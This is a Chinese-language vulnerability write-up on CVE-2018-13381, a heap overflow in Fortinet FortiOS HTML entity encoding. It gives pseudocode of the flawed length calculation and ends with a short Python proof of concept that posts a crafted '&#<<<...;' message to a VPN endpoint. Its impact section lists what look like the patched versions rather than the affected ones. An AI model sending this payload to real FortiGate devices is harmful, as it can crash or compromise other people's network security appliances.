（CVE-2018-13381）Fortinet FortiOS 缓冲区错误漏洞
=================================================

一、漏洞简介
------------

Fortinet
FortiOS是美国飞塔（Fortinet）公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。
Fortinet FortiOS
6.0.0版本至6.0.4版本、5.6.0版本至5.6.7版本和5.4及之前版本中存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时，未正确验证数据边界，导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。

二、漏洞影响
------------

Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.8

三、复现过程
------------

在编码HTML实体代码时，有两个阶段。服务器首先计算编码字符串所需的缓冲区长度，然后将其编码到缓冲区。在计算阶段，例如，`<`字符编码为
`<`，占用5个字节。如果遇到任何以`&#`开头的字符，例如`<`，服务器会认为这个token已经被编码了，并直接计算其长度。像这样：

    c = token[idx];
    if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
        cnt += 5;
    else if(c == '&' && html[idx+1] == '#')
        cnt += len(strchr(html[idx], ';')-idx);

然而，长度计算和编码过程之间将存在不一致，编码部分无法处理这种情况。

    switch (c)
    {
        case '<':
            memcpy(buf[counter], "&#60;", 5);
            counter += 4;
            break;
        case '>':
        // ...
        default:
            buf[counter] = c;
            break;
        counter++;
    }

如果我们输入恶意字符串如`&#<<<;`，`<`仍将编码成`<`，所以编码结果应该是`&#<<<;`！这比预期的6个字节长得多，从而导致堆溢出。PoC：

    import requests

    data = {
        'title': 'x', 
        'msg': '&#' + '<'*(0x20000) + ';<', 
    }
    r = requests.post('https://www.0-sec.org:4433/message', data=data)